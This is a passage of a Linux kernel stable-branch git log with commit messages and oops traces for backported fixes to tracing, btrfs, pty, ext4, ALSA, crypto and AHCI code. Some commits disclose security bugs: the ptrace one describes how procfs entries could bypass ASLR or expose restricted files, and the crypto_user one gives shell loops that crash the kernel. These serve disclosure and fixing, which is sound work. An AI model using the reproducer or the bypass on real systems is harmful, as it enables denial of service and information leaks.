beginning if it isn't). Reported-by: Ewan D. Milne Tested-by: Ewan D. Milne Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0dfcfa943b3a2c3fc3fed5df6975ebd607131caf Author: Arnd Bergmann Date: Fri Feb 12 22:26:42 2016 +0100 tracing: Fix freak link error caused by branch tracer commit b33c8ff4431a343561e2319f17c14286f2aa52e2 upstream. In my randconfig tests, I came across a bug that involves several components: * gcc-4.9 through at least 5.3 * CONFIG_GCOV_PROFILE_ALL enabling -fprofile-arcs for all files * CONFIG_PROFILE_ALL_BRANCHES overriding every if() * The optimized implementation of do_div() that tries to replace a library call with an division by multiplication * code in drivers/media/dvb-frontends/zl10353.c doing u32 adc_clock = 450560; /* 45.056 MHz */ if (state->config.adc_clock) adc_clock = state->config.adc_clock; do_div(value, adc_clock); In this case, gcc fails to determine whether the divisor in do_div() is __builtin_constant_p(). In particular, it concludes that __builtin_constant_p(adc_clock) is false, while __builtin_constant_p(!!adc_clock) is true. That in turn throws off the logic in do_div() that also uses __builtin_constant_p(), and instead of picking either the constant- optimized division, and the code in ilog2() that uses __builtin_constant_p() to figure out whether it knows the answer at compile time. The result is a link error from failing to find multiple symbols that should never have been called based on the __builtin_constant_p(): dvb-frontends/zl10353.c:138: undefined reference to `____ilog2_NaN' dvb-frontends/zl10353.c:138: undefined reference to `__aeabi_uldivmod' ERROR: "____ilog2_NaN" [drivers/media/dvb-frontends/zl10353.ko] undefined! ERROR: "__aeabi_uldivmod" [drivers/media/dvb-frontends/zl10353.ko] undefined! This patch avoids the problem by changing __trace_if() to check whether the condition is known at compile-time to be nonzero, rather than checking whether it is actually a constant. I see this one link error in roughly one out of 1600 randconfig builds on ARM, and the patch fixes all known instances. Link: http://lkml.kernel.org/r/1455312410-1058841-1-git-send-email-arnd@arndb.de Acked-by: Nicolas Pitre Fixes: ab3c9c686e22 ("branch tracer, intel-iommu: fix build with CONFIG_BRANCH_TRACER=y") Signed-off-by: Arnd Bergmann Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 496925596a8bd571a3341a080f0eceae60114bfa Author: Steven Rostedt Date: Mon Nov 16 17:25:16 2015 -0500 tools lib traceevent: Fix output of %llu for 64 bit values read on 32 bit machines commit 32abc2ede536aae52978d6c0a8944eb1df14f460 upstream. When a long value is read on 32 bit machines for 64 bit output, the parsing needs to change "%lu" into "%llu", as the value is read natively. Unfortunately, if "%llu" is already there, the code will add another "l" to it and fail to parse it properly. Signed-off-by: Steven Rostedt Acked-by: Namhyung Kim Link: http://lkml.kernel.org/r/20151116172516.4b79b109@gandalf.local.home Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 440bc0fbd209e2b47617538448b5f4caf8150320 Author: Jann Horn Date: Wed Jan 20 15:00:04 2016 -0800 ptrace: use fsuid, fsgid, effective creds for fs access checks commit caaee6234d05a58c5b4d05e7bf766131b810a657 upstream. By checking the effective credentials instead of the real UID / permitted capabilities, ensure that the calling process actually intended to use its credentials. To ensure that all ptrace checks use the correct caller credentials (e.g. in case out-of-tree code or newly added code omits the PTRACE_MODE_*CREDS flag), use two new flags and require one of them to be set. The problem was that when a privileged task had temporarily dropped its privileges, e.g. by calling setreuid(0, user_uid), with the intent to perform following syscalls with the credentials of a user, it still passed ptrace access checks that the user would not be able to pass. While an attacker should not be able to convince the privileged task to perform a ptrace() syscall, this is a problem because the ptrace access check is reused for things in procfs. In particular, the following somewhat interesting procfs entries only rely on ptrace access checks: /proc/$pid/stat - uses the check for determining whether pointers should be visible, useful for bypassing ASLR /proc/$pid/maps - also useful for bypassing ASLR /proc/$pid/cwd - useful for gaining access to restricted directories that contain files with lax permissions, e.g. in this scenario: lrwxrwxrwx root root /proc/13020/cwd -> /root/foobar drwx------ root root /root drwxr-xr-x root root /root/foobar -rw-r--r-- root root /root/foobar/secret Therefore, on a system where a root-owned mode 6755 binary changes its effective credentials as described and then dumps a user-specified file, this could be used by an attacker to reveal the memory layout of root's processes or reveal the contents of files he is not allowed to access (through /proc/$pid/cwd). [akpm@linux-foundation.org: fix warning] Signed-off-by: Jann Horn Acked-by: Kees Cook Cc: Casey Schaufler Cc: Oleg Nesterov Cc: Ingo Molnar Cc: James Morris Cc: "Serge E. Hallyn" Cc: Andy Shevchenko Cc: Andy Lutomirski Cc: Al Viro Cc: "Eric W. Biederman" Cc: Willy Tarreau Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a8737121bfcc22dff0a85ab07ca3a3e38f14c832 Author: Peter Zijlstra Date: Mon Nov 2 10:50:51 2015 +0100 perf: Fix inherited events vs. tracepoint filters commit b71b437eedaed985062492565d9d421d975ae845 upstream. Arnaldo reported that tracepoint filters seem to misbehave (ie. not apply) on inherited events. The fix is obvious; filters are only set on the actual (parent) event, use the normal pattern of using this parent event for filters. This is safe because each child event has a reference to it. Reported-by: Arnaldo Carvalho de Melo Tested-by: Arnaldo Carvalho de Melo Signed-off-by: Peter Zijlstra (Intel) Cc: Adrian Hunter Cc: Arnaldo Carvalho de Melo Cc: David Ahern Cc: Frédéric Weisbecker Cc: Jiri Olsa Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Cc: Wang Nan Link: http://lkml.kernel.org/r/20151102095051.GN17308@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 446f145ac85021c8970ba673efa18dd68a1612aa Author: Filipe Manana Date: Wed Feb 3 19:17:27 2016 +0000 Btrfs: fix hang on extent buffer lock caused by the inode_paths ioctl commit 0c0fe3b0fa45082cd752553fdb3a4b42503a118e upstream. While doing some tests I ran into an hang on an extent buffer's rwlock that produced the following trace: [39389.800012] NMI watchdog: BUG: soft lockup - CPU#15 stuck for 22s! [fdm-stress:32166] [39389.800016] NMI watchdog: BUG: soft lockup - CPU#14 stuck for 22s! [fdm-stress:32165] [39389.800016] Modules linked in: btrfs dm_mod ppdev xor sha256_generic hmac raid6_pq drbg ansi_cprng aesni_intel i2c_piix4 acpi_cpufreq aes_x86_64 ablk_helper tpm_tis parport_pc i2c_core sg cryptd evdev psmouse lrw tpm parport gf128mul serio_raw pcspkr glue_helper processor button loop autofs4 ext4 crc16 mbcache jbd2 sd_mod sr_mod cdrom ata_generic virtio_scsi ata_piix libata virtio_pci virtio_ring crc32c_intel scsi_mod e1000 virtio floppy [last unloaded: btrfs] [39389.800016] irq event stamp: 0 [39389.800016] hardirqs last enabled at (0): [< (null)>] (null) [39389.800016] hardirqs last disabled at (0): [] copy_process+0x638/0x1a35 [39389.800016] softirqs last enabled at (0): [] copy_process+0x638/0x1a35 [39389.800016] softirqs last disabled at (0): [< (null)>] (null) [39389.800016] CPU: 14 PID: 32165 Comm: fdm-stress Not tainted 4.4.0-rc6-btrfs-next-18+ #1 [39389.800016] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS by qemu-project.org 04/01/2014 [39389.800016] task: ffff880175b1ca40 ti: ffff8800a185c000 task.ti: ffff8800a185c000 [39389.800016] RIP: 0010:[] [] queued_spin_lock_slowpath+0x57/0x158 [39389.800016] RSP: 0018:ffff8800a185fb80 EFLAGS: 00000202 [39389.800016] RAX: 0000000000000101 RBX: ffff8801710c4e9c RCX: 0000000000000101 [39389.800016] RDX: 0000000000000100 RSI: 0000000000000001 RDI: 0000000000000001 [39389.800016] RBP: ffff8800a185fb98 R08: 0000000000000001 R09: 0000000000000000 [39389.800016] R10: ffff8800a185fb68 R11: 6db6db6db6db6db7 R12: ffff8801710c4e98 [39389.800016] R13: ffff880175b1ca40 R14: ffff8800a185fc10 R15: ffff880175b1ca40 [39389.800016] FS: 00007f6d37fff700(0000) GS:ffff8802be9c0000(0000) knlGS:0000000000000000 [39389.800016] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [39389.800016] CR2: 00007f6d300019b8 CR3: 0000000037c93000 CR4: 00000000001406e0 [39389.800016] Stack: [39389.800016] ffff8801710c4e98 ffff8801710c4e98 ffff880175b1ca40 ffff8800a185fbb0 [39389.800016] ffffffff81091e11 ffff8801710c4e98 ffff8800a185fbc8 ffffffff81091895 [39389.800016] ffff8801710c4e98 ffff8800a185fbe8 ffffffff81486c5c ffffffffa067288c [39389.800016] Call Trace: [39389.800016] [] queued_read_lock_slowpath+0x46/0x60 [39389.800016] [] do_raw_read_lock+0x3e/0x41 [39389.800016] [] _raw_read_lock+0x3d/0x44 [39389.800016] [] ? btrfs_tree_read_lock+0x54/0x125 [btrfs] [39389.800016] [] btrfs_tree_read_lock+0x54/0x125 [btrfs] [39389.800016] [] ? btrfs_find_item+0xa7/0xd2 [btrfs] [39389.800016] [] btrfs_ref_to_path+0xd6/0x174 [btrfs] [39389.800016] [] inode_to_path+0x53/0xa2 [btrfs] [39389.800016] [] paths_from_inode+0x117/0x2ec [btrfs] [39389.800016] [] btrfs_ioctl+0xd5b/0x2793 [btrfs] [39389.800016] [] ? arch_local_irq_save+0x9/0xc [39389.800016] [] ? __this_cpu_preempt_check+0x13/0x15 [39389.800016] [] ? arch_local_irq_save+0x9/0xc [39389.800016] [] ? rcu_read_unlock+0x3e/0x5d [39389.800016] [] do_vfs_ioctl+0x42b/0x4ea [39389.800016] [] ? __fget_light+0x62/0x71 [39389.800016] [] SyS_ioctl+0x57/0x79 [39389.800016] [] entry_SYSCALL_64_fastpath+0x12/0x6f [39389.800016] Code: b9 01 01 00 00 f7 c6 00 ff ff ff 75 32 83 fe 01 89 ca 89 f0 0f 45 d7 f0 0f b1 13 39 f0 74 04 89 c6 eb e2 ff ca 0f 84 fa 00 00 00 <8b> 03 84 c0 74 04 f3 90 eb f6 66 c7 03 01 00 e9 e6 00 00 00 e8 [39389.800012] Modules linked in: btrfs dm_mod ppdev xor sha256_generic hmac raid6_pq drbg ansi_cprng aesni_intel i2c_piix4 acpi_cpufreq aes_x86_64 ablk_helper tpm_tis parport_pc i2c_core sg cryptd evdev psmouse lrw tpm parport gf128mul serio_raw pcspkr glue_helper processor button loop autofs4 ext4 crc16 mbcache jbd2 sd_mod sr_mod cdrom ata_generic virtio_scsi ata_piix libata virtio_pci virtio_ring crc32c_intel scsi_mod e1000 virtio floppy [last unloaded: btrfs] [39389.800012] irq event stamp: 0 [39389.800012] hardirqs last enabled at (0): [< (null)>] (null) [39389.800012] hardirqs last disabled at (0): [] copy_process+0x638/0x1a35 [39389.800012] softirqs last enabled at (0): [] copy_process+0x638/0x1a35 [39389.800012] softirqs last disabled at (0): [< (null)>] (null) [39389.800012] CPU: 15 PID: 32166 Comm: fdm-stress Tainted: G L 4.4.0-rc6-btrfs-next-18+ #1 [39389.800012] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS by qemu-project.org 04/01/2014 [39389.800012] task: ffff880179294380 ti: ffff880034a60000 task.ti: ffff880034a60000 [39389.800012] RIP: 0010:[] [] queued_write_lock_slowpath+0x62/0x72 [39389.800012] RSP: 0018:ffff880034a639f0 EFLAGS: 00000206 [39389.800012] RAX: 0000000000000101 RBX: ffff8801710c4e98 RCX: 0000000000000000 [39389.800012] RDX: 00000000000000ff RSI: 0000000000000000 RDI: ffff8801710c4e9c [39389.800012] RBP: ffff880034a639f8 R08: 0000000000000001 R09: 0000000000000000 [39389.800012] R10: ffff880034a639b0 R11: 0000000000001000 R12: ffff8801710c4e98 [39389.800012] R13: 0000000000000001 R14: ffff880172cbc000 R15: ffff8801710c4e00 [39389.800012] FS: 00007f6d377fe700(0000) GS:ffff8802be9e0000(0000) knlGS:0000000000000000 [39389.800012] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [39389.800012] CR2: 00007f6d3d3c1000 CR3: 0000000037c93000 CR4: 00000000001406e0 [39389.800012] Stack: [39389.800012] ffff8801710c4e98 ffff880034a63a10 ffffffff81091963 ffff8801710c4e98 [39389.800012] ffff880034a63a30 ffffffff81486f1b ffffffffa0672cb3 ffff8801710c4e00 [39389.800012] ffff880034a63a78 ffffffffa0672cb3 ffff8801710c4e00 ffff880034a63a58 [39389.800012] Call Trace: [39389.800012] [] do_raw_write_lock+0x72/0x8c [39389.800012] [] _raw_write_lock+0x3a/0x41 [39389.800012] [] ? btrfs_tree_lock+0x119/0x251 [btrfs] [39389.800012] [] btrfs_tree_lock+0x119/0x251 [btrfs] [39389.800012] [] ? rcu_read_unlock+0x5b/0x5d [btrfs] [39389.800012] [] ? btrfs_root_node+0xda/0xe6 [btrfs] [39389.800012] [] btrfs_lock_root_node+0x22/0x42 [btrfs] [39389.800012] [] btrfs_search_slot+0x1b8/0x758 [btrfs] [39389.800012] [] ? time_hardirqs_on+0x15/0x28 [39389.800012] [] btrfs_lookup_inode+0x31/0x95 [btrfs] [39389.800012] [] ? trace_hardirqs_on+0xd/0xf [39389.800012] [] ? mutex_lock_nested+0x397/0x3bc [39389.800012] [] __btrfs_update_delayed_inode+0x59/0x1c0 [btrfs] [39389.800012] [] __btrfs_commit_inode_delayed_items+0x194/0x5aa [btrfs] [39389.800012] [] ? _raw_spin_unlock+0x31/0x44 [39389.800012] [] __btrfs_run_delayed_items+0xa4/0x15c [btrfs] [39389.800012] [] btrfs_run_delayed_items+0x11/0x13 [btrfs] [39389.800012] [] btrfs_commit_transaction+0x234/0x96e [btrfs] [39389.800012] [] btrfs_sync_fs+0x145/0x1ad [btrfs] [39389.800012] [] btrfs_ioctl+0x11d2/0x2793 [btrfs] [39389.800012] [] ? arch_local_irq_save+0x9/0xc [39389.800012] [] ? __might_fault+0x4c/0xa7 [39389.800012] [] ? __might_fault+0x4c/0xa7 [39389.800012] [] ? arch_local_irq_save+0x9/0xc [39389.800012] [] ? rcu_read_unlock+0x3e/0x5d [39389.800012] [] do_vfs_ioctl+0x42b/0x4ea [39389.800012] [] ? __fget_light+0x62/0x71 [39389.800012] [] SyS_ioctl+0x57/0x79 [39389.800012] [] entry_SYSCALL_64_fastpath+0x12/0x6f [39389.800012] Code: f0 0f b1 13 85 c0 75 ef eb 2a f3 90 8a 03 84 c0 75 f8 f0 0f b0 13 84 c0 75 f0 ba ff 00 00 00 eb 0a f0 0f b1 13 ff c8 74 0b f3 90 <8b> 03 83 f8 01 75 f7 eb ed c6 43 04 00 5b 5d c3 0f 1f 44 00 00 This happens because in the code path executed by the inode_paths ioctl we end up nesting two calls to read lock a leaf's rwlock when after the first call to read_lock() and before the second call to read_lock(), another task (running the delayed items as part of a transaction commit) has already called write_lock() against the leaf's rwlock. This situation is illustrated by the following diagram: Task A Task B btrfs_ref_to_path() btrfs_commit_transaction() read_lock(&eb->lock); btrfs_run_delayed_items() __btrfs_commit_inode_delayed_items() __btrfs_update_delayed_inode() btrfs_lookup_inode() write_lock(&eb->lock); --> task waits for lock read_lock(&eb->lock); --> makes this task hang forever (and task B too of course) So fix this by avoiding doing the nested read lock, which is easily avoidable. This issue does not happen if task B calls write_lock() after task A does the second call to read_lock(), however there does not seem to exist anything in the documentation that mentions what is the expected behaviour for recursive locking of rwlocks (leaving the idea that doing so is not a good usage of rwlocks). Also, as a side effect necessary for this fix, make sure we do not needlessly read lock extent buffers when the input path has skip_locking set (used when called from send). Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 51ae737018e029b10de72d5b7151fece870a4570 Author: Insu Yun Date: Fri Feb 12 01:15:59 2016 -0500 ext4: fix potential integer overflow commit 46901760b46064964b41015d00c140c83aa05bcf upstream. Since sizeof(ext_new_group_data) > sizeof(ext_new_flex_group_data), integer overflow could be happened. Therefore, need to fix integer overflow sanitization. Signed-off-by: Insu Yun Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e87fd4f4c0536dc208e84640282b3ddc4895257b Author: Herton R. Krzesinski Date: Thu Jan 14 17:56:58 2016 -0200 pty: make sure super_block is still valid in final /dev/tty close commit 1f55c718c290616889c04946864a13ef30f64929 upstream. Considering current pty code and multiple devpts instances, it's possible to umount a devpts file system while a program still has /dev/tty opened pointing to a previosuly closed pty pair in that instance. In the case all ptmx and pts/N files are closed, umount can be done. If the program closes /dev/tty after umount is done, devpts_kill_index will use now an invalid super_block, which was already destroyed in the umount operation after running ->kill_sb. This is another "use after free" type of issue, but now related to the allocated super_block instance. To avoid the problem (warning at ida_remove and potential crashes) for this specific case, I added two functions in devpts which grabs additional references to the super_block, which pty code now uses so it makes sure the super block structure is still valid until pty shutdown is done. I also moved the additional inode references to the same functions, which also covered similar case with inode being freed before /dev/tty final close/shutdown. Signed-off-by: Herton R. Krzesinski Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbbc81099c875c0d6a36bbb4682ae5f047ff8813 Author: Herton R. Krzesinski Date: Mon Jan 11 12:07:43 2016 -0200 pty: fix possible use after free of tty->driver_data commit 2831c89f42dcde440cfdccb9fee9f42d54bbc1ef upstream. This change fixes a bug for a corner case where we have the the last release from a pty master/slave coming from a previously opened /dev/tty file. When this happens, the tty->driver_data can be stale, due to all ptmx or pts/N files having already been closed before (and thus the inode related to these files, which tty->driver_data points to, being already freed/destroyed). The fix here is to keep a reference on the opened master ptmx inode. We maintain the inode referenced until the final pty_unix98_shutdown, and only pass this inode to devpts_kill_index. Signed-off-by: Herton R. Krzesinski Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e6793b86377f56ea906fe085ebaa75aa4b3946b Author: Peter Hurley Date: Sun Jan 10 22:40:58 2016 -0800 staging/speakup: Use tty_ldisc_ref() for paste kworker commit f4f9edcf9b5289ed96113e79fa65a7bf27ecb096 upstream. As the function documentation for tty_ldisc_ref_wait() notes, it is only callable from a tty file_operations routine; otherwise there is no guarantee the ref won't be NULL. The key difference with the VT's paste_selection() is that is an ioctl, where __speakup_paste_selection() is completely async kworker, kicked off from interrupt context. Fixes: 28a821c30688 ("Staging: speakup: Update __speakup_paste_selection() tty (ab)usage to match vt") Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b4881f2b998dd06dc4ca36070d2953db16ff3685 Author: Peter Hurley Date: Fri Nov 27 14:18:39 2015 -0500 wan/x25: Fix use-after-free in x25_asy_open_tty() commit ee9159ddce14bc1dec9435ae4e3bd3153e783706 upstream. The N_X25 line discipline may access the previous line discipline's closed and already-freed private data on open [1]. The tty->disc_data field _never_ refers to valid data on entry to the line discipline's open() method. Rather, the ldisc is expected to initialize that field for its own use for the lifetime of the instance (ie. from open() to close() only). [1] [ 634.336761] ================================================================== [ 634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0 [ 634.339558] Read of size 4 by task syzkaller_execu/8981 [ 634.340359] ============================================================================= [ 634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected ... [ 634.405018] Call Trace: [ 634.405277] dump_stack (lib/dump_stack.c:52) [ 634.405775] print_trailer (mm/slub.c:655) [ 634.406361] object_err (mm/slub.c:662) [ 634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236) [ 634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279) [ 634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1)) [ 634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447) [ 634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567) [ 634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879) [ 634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607) [ 634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613) [ 634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188) Reported-and-tested-by: Sasha Levin Signed-off-by: Peter Hurley Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c37ec8748cc67d86cc484a3f8e7cc11af3e9aac Author: Takashi Iwai Date: Tue Feb 16 14:15:59 2016 +0100 ALSA: seq: Fix double port list deletion commit 13d5e5d4725c64ec06040d636832e78453f477b7 upstream. The commit [7f0973e973cd: ALSA: seq: Fix lockdep warnings due to double mutex locks] split the management of two linked lists (source and destination) into two individual calls for avoiding the AB/BA deadlock. However, this may leave the possible double deletion of one of two lists when the counterpart is being deleted concurrently. It ends up with a list corruption, as revealed by syzkaller fuzzer. This patch fixes it by checking the list emptiness and skipping the deletion and the following process. BugLink: http://lkml.kernel.org/r/CACT4Y+bay9qsrz6dQu31EcGaH9XwfW7o3oBzSQUG9fMszoh=Sg@mail.gmail.com Fixes: 7f0973e973cd ('ALSA: seq: Fix lockdep warnings due to 'double mutex locks) Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34a609824c7901a1f4984b51c73f38d8b2871cc1 Author: Greg Kroah-Hartman Date: Fri Feb 19 14:22:57 2016 -0800 Linux 3.10.97 Signed-off-by: Pranav Vashi commit 768015e0854cd1a604f8cb11ff8cdf9d53e5a276 Author: Maciej W. Rozycki Date: Mon Oct 26 15:48:19 2015 +0000 binfmt_elf: Don't clobber passed executable's file header commit b582ef5c53040c5feef4c96a8f9585b6831e2441 upstream. Do not clobber the buffer space passed from `search_binary_handler' and originally preloaded by `prepare_binprm' with the executable's file header by overwriting it with its interpreter's file header. Instead keep the buffer space intact and directly use the data structure locally allocated for the interpreter's file header, fixing a bug introduced in 2.1.14 with loadable module support (linux-mips.org commit beb11695 [Import of Linux/MIPS 2.1.14], predating kernel.org repo's history). Adjust the amount of data read from the interpreter's file accordingly. This was not an issue before loadable module support, because back then `load_elf_binary' was executed only once for a given ELF executable, whether the function succeeded or failed. With loadable module support supported and enabled, upon a failure of `load_elf_binary' -- which may for example be caused by architecture code rejecting an executable due to a missing hardware feature requested in the file header -- a module load is attempted and then the function reexecuted by `search_binary_handler'. With the executable's file header replaced with its interpreter's file header the executable can then be erroneously accepted in this subsequent attempt. Signed-off-by: Maciej W. Rozycki Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea75a0500ce1a710d11a4c4e1324a24e8af11931 Author: Kinglong Mee Date: Wed Nov 4 15:20:15 2015 +0000 FS-Cache: Increase reference of parent after registering, netfs success commit 86108c2e34a26e4bec3c6ddb23390bf8cedcf391 upstream. If netfs exist, fscache should not increase the reference of parent's usage and n_children, otherwise, never be decreased. v2: thanks David's suggest, move increasing reference of parent if success use kmem_cache_free() freeing primary_index directly v3: don't move "netfs->primary_index->parent = &fscache_fsdef_index;" Signed-off-by: Kinglong Mee Signed-off-by: David Howells Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a625e9cf4b88998b9372400c094480c9953bc56f Author: Mathias Krause Date: Mon Feb 1 14:27:30 2016 +0100 crypto: user - lock crypto_alg_list on alg dump commit 63e41ebc6630f39422d87f8a4bade1e793f37a01 upstream. We miss to take the crypto_alg_sem semaphore when traversing the crypto_alg_list for CRYPTO_MSG_GETALG dumps. This allows a race with crypto_unregister_alg() removing algorithms from the list while we're still traversing it, thereby leading to a use-after-free as show below: [ 3482.071639] general protection fault: 0000 [#1] SMP [ 3482.075639] Modules linked in: aes_x86_64 glue_helper lrw ablk_helper cryptd gf128mul ipv6 pcspkr serio_raw virtio_net microcode virtio_pci virtio_ring virtio sr_mod cdrom [last unloaded: aesni_intel] [ 3482.075639] CPU: 1 PID: 11065 Comm: crconf Not tainted 4.3.4-grsec+ #126 [ 3482.075639] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014 [ 3482.075639] task: ffff88001cd41a40 ti: ffff88001cd422c8 task.ti: ffff88001cd422c8 [ 3482.075639] RIP: 0010:[] [] strncpy+0x13/0x30 [ 3482.075639] RSP: 0018:ffff88001f713b60 EFLAGS: 00010202 [ 3482.075639] RAX: ffff88001f6c4430 RBX: ffff88001f6c43a0 RCX: ffff88001f6c4430 [ 3482.075639] RDX: 0000000000000040 RSI: fefefefefefeff16 RDI: ffff88001f6c4430 [ 3482.075639] RBP: ffff88001f713b60 R08: ffff88001f6c4470 R09: ffff88001f6c4480 [ 3482.075639] R10: 0000000000000002 R11: 0000000000000246 R12: ffff88001ce2aa28 [ 3482.075639] R13: ffff880000093700 R14: ffff88001f5e4bf8 R15: 0000000000003b20 [ 3482.075639] FS: 0000033826fa2700(0000) GS:ffff88001e900000(0000) knlGS:0000000000000000 [ 3482.075639] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 3482.075639] CR2: ffffffffff600400 CR3: 00000000139ec000 CR4: 00000000001606f0 [ 3482.075639] Stack: [ 3482.075639] ffff88001f713bd8 ffffffff936ccd00 ffff88001e5c4200 ffff880000093700 [ 3482.075639] ffff88001f713bd0 ffffffff938ef4bf 0000000000000000 0000000000003b20 [ 3482.075639] ffff88001f5e4bf8 ffff88001f5e4848 0000000000000000 0000000000003b20 [ 3482.075639] Call Trace: [ 3482.075639] [] crypto_report_alg+0xc0/0x3e0 [ 3482.075639] [] ? __alloc_skb+0x16f/0x300 [ 3482.075639] [] crypto_dump_report+0x6a/0x90 [ 3482.075639] [] netlink_dump+0x147/0x2e0 [ 3482.075639] [] __netlink_dump_start+0x159/0x190 [ 3482.075639] [] crypto_user_rcv_msg+0xc3/0x130 [ 3482.075639] [] ? crypto_report_alg+0x3e0/0x3e0 [ 3482.075639] [] ? alg_test_crc32c+0x120/0x120 [ 3482.075639] [] ? __netlink_lookup+0xd5/0x120 [ 3482.075639] [] ? crypto_add_alg+0x1d0/0x1d0 [ 3482.075639] [] netlink_rcv_skb+0xe1/0x130 [ 3482.075639] [] crypto_netlink_rcv+0x28/0x40 [ 3482.075639] [] netlink_unicast+0x108/0x180 [ 3482.075639] [] netlink_sendmsg+0x541/0x770 [ 3482.075639] [] sock_sendmsg+0x21/0x40 [ 3482.075639] [] SyS_sendto+0xf3/0x130 [ 3482.075639] [] ? bad_area_nosemaphore+0x13/0x20 [ 3482.075639] [] ? __do_page_fault+0x80/0x3a0 [ 3482.075639] [] entry_SYSCALL_64_fastpath+0x12/0x6e [ 3482.075639] Code: 88 4a ff 75 ed 5d 48 0f ba 2c 24 3f c3 66 66 2e 0f 1f 84 00 00 00 00 00 55 48 85 d2 48 89 f8 48 89 f9 4c 8d 04 17 48 89 e5 74 15 <0f> b6 16 80 fa 01 88 11 48 83 de ff 48 83 c1 01 4c 39 c1 75 eb [ 3482.075639] RIP [] strncpy+0x13/0x30 To trigger the race run the following loops simultaneously for a while: $ while : ; do modprobe aesni-intel; rmmod aesni-intel; done $ while : ; do crconf show all > /dev/null; done Fix the race by taking the crypto_alg_sem read lock, thereby preventing crypto_unregister_alg() from modifying the algorithm list during the dump. This bug has been detected by the PaX memory sanitize feature. Signed-off-by: Mathias Krause Cc: Steffen Klassert Cc: PaX Team Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5963d770d56345ff8937588286368d72c835dc3 Author: Wang, Rui Y Date: Wed Jan 27 17:08:37 2016 +0800 crypto: algif_hash - wait for crypto_ahash_init() to complete commit fe09786178f9df713a4b2dd6b93c0a722346bf5e upstream. hash_sendmsg/sendpage() need to wait for the completion of crypto_ahash_init() otherwise it can cause panic. Signed-off-by: Rui Wang Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3bb15da7a50ddee3d3631d771e8e55afddb9c585 Author: Alexandra Yates Date: Fri Feb 5 15:27:49 2016 -0800 ahci: Intel DNV device IDs SATA commit 342decff2b846b46fa61eb5ee40986fab79a9a32 upstream. Adding Intel codename DNV platform device IDs for SATA. Signed-off-by: Alexandra Yates Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9625b4ac0b64188717e3e92a28f82372e8683f3 Author: Tejun Heo Date: Fri Jan 15 15:13:05 2016 -0500 libata: disable forced PORTS_IMPL for >= AHCI 1.3 commit 566d1827df2ef0cbe921d3d6946ac3007b1a6938 upstream. Some early controllers incorrectly reported zero ports in PORTS_IMPL register and the ahci driver fabricates PORTS_IMPL from the number of ports in those cases. This hasn't mattered but with the new nvme controllers there are cases where zero PORTS_IMPL is valid and should be honored. Disable the workaround for >= AHCI 1.3. Signed-off-by: Tejun Heo Reported-by: Andy Lutomirski Link: http://lkml.kernel.org/g/CALCETrU7yMvXEDhjAUShoHEhDwifJGapdw--BKxsP0jmjKGmRw@mail.gmail.com Cc: Sergei Shtylyov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 290853462b6a2bfeee36c1d412f21a495632d5e3 Author: Xiangliang Yu Date: Thu Nov 26 20:27:02 2015 +0800 AHCI: Fix softreset failed issue of Port Multiplier commit 023113d24ef9e1d2b44cb2446872b17e2b01d8b1 upstream. Current code doesn't update port value of Port Multiplier(PM) when sending FIS of softreset to device, command will fail if FBS is enabled. There are two ways to fix the issue: the first is to disable FBS before sending softreset command to PM device and the second is to update port value of PM when sending command. For the first way, i can't find any related rule in AHCI Spec. The second way can avoid disabling FBS and has better performance. Signed-off-by: Xiangliang Yu Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 